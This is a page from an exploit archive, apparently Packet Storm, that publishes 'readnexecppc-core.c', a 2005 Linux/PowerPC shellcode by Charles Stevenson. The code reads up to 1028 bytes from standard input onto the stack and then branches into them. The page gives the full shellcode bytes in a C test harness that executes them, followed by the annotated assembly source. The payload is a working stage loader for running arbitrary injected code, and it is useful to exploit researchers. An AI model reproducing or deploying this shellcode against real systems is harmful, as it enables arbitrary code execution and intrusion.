exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

readnexecppc-core.c

readnexecppc-core.c
Posted Nov 8, 2005
Authored by Charles Stevenson | Site bokeoa.com

read(0,stack,1028); stack(); shellcode for Linux PPC. readnexecppc-core.s appended.

tags | shellcode, ppc
systems | linux
SHA-256 | d0b4499072948b6491f643ea4ced7fa7145948d309b2bbfe20f29161e8bd9115

readnexecppc-core.c

Change Mirror Download
/* readnexecppc-core.c by Charles Stevenson <core@bokeoa.com> */
char hellcode[] = /* read(0,stack,1028); stack(); linux/ppc by core */
"\x7c\x63\x1a\x79" /* xor. r3,r3,r3 */
"\x38\xa0\x04\x04" /* li r5,1028 */
"\x30\x05\xfb\xff" /* addic r0,r5,-1025 */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x44\xde\xad\xf2" /* sc */
"\x69\x69\x69\x69" /* nop */
"\x7c\x29\x03\xa6" /* mtctr r1 */
"\x4e\x80\x04\x21"; /* bctrl */

int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte read & exec shellcode for linux/ppc by core\n",
strlen(hellcode));
shell();
return 0;
}

#;; read(0,stack,1024); stack();
#;; by Charles Stevenson (core) <core@bokeoa.com>
.globl main
main:
xor. %r3,%r3,%r3 #; file descriptor
li %r5, 1028 #; 1028 bytes
addic %r0,%r5,-1028+3 #; __NR_read
mr %r4,%r1 #; (void *) stack pointer
.long 0x44deadf2 #; syscall
.long 0x69696969 #; nop
mtctr %r1 #; move stack pointer into ctr
bctrl #; branch to ctr

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close